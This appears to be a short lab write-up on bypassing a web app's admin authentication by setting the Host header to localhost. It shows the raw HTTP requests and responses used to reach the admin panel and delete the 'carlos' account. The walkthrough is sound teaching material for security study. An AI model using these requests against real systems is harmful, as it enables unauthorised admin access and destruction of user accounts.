Host header authentication bypass

 - 2 min read

Situation

We are provided with a web-app. What we want to do, is to access the admin panel and delete an account by the name of carlos. To do this, we’ll leverage the Host header to bypass authentication to the admin page.

Recon

First let’s check where the admin panel is located. Doing a simple GET https://target-host.com/admin returns this response:

HTTP/1.1 401 Unauthorized...
Content-Length: 2478

<!DOCTYPE html>
<html>
...
    Admin interface only available to local users</html>

We notice the message “only available to local users”. This means that the admin panel is meant to be accessible only from localhost, probably through a VPN.

Let’s try changing the Host header to localhost, and see if we can trick the app in accepting this request:

GET /admin HTTP/1.1
Host: localhost...
Connection: close

And it worked! We are presented with a 200 response:

HTTP/1.1 200 OK...
Content-Length: 3218

<!DOCTYPE html>
<html>
...
    <h1>Users</h1>
    <div>
        <span>administrator - </span>
        <a href="/admin/delete?username=administrator">Delete</a>
    </div>
    <div>
        <span>carlos - </span>
        <a href="/admin/delete?username=carlos">Delete</a>    </div>
    <div>
        <span>wiener - </span>
        <a href="/admin/delete?username=wiener">Delete</a>
    </div>
...
</html>

Exploit

Looks like the previous response has everything we need to delete the carlos account. Let’s try calling /admin/delete?username=carlos with the Host header set to localhost:

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
...

And the response we get is this, it looks like it worked:

HTTP/1.1 302 FoundLocation: /admin
...

Let’s double-check that it did work, by getting the admin panel once again:

HTTP/1.1 200 OK...
Content-Length: 3218

<!DOCTYPE html>
<html>
...
    <h1>Users</h1>
    <div>
        <span>administrator - </span>
        <a href="/admin/delete?username=administrator">Delete</a>
    </div>
    <div>
        <span>wiener - </span>
        <a href="/admin/delete?username=wiener">Delete</a>
    </div>
...
</html>

As we can see, the carlos account doesn’t show up in the admin panel. The account has been successfully deleted!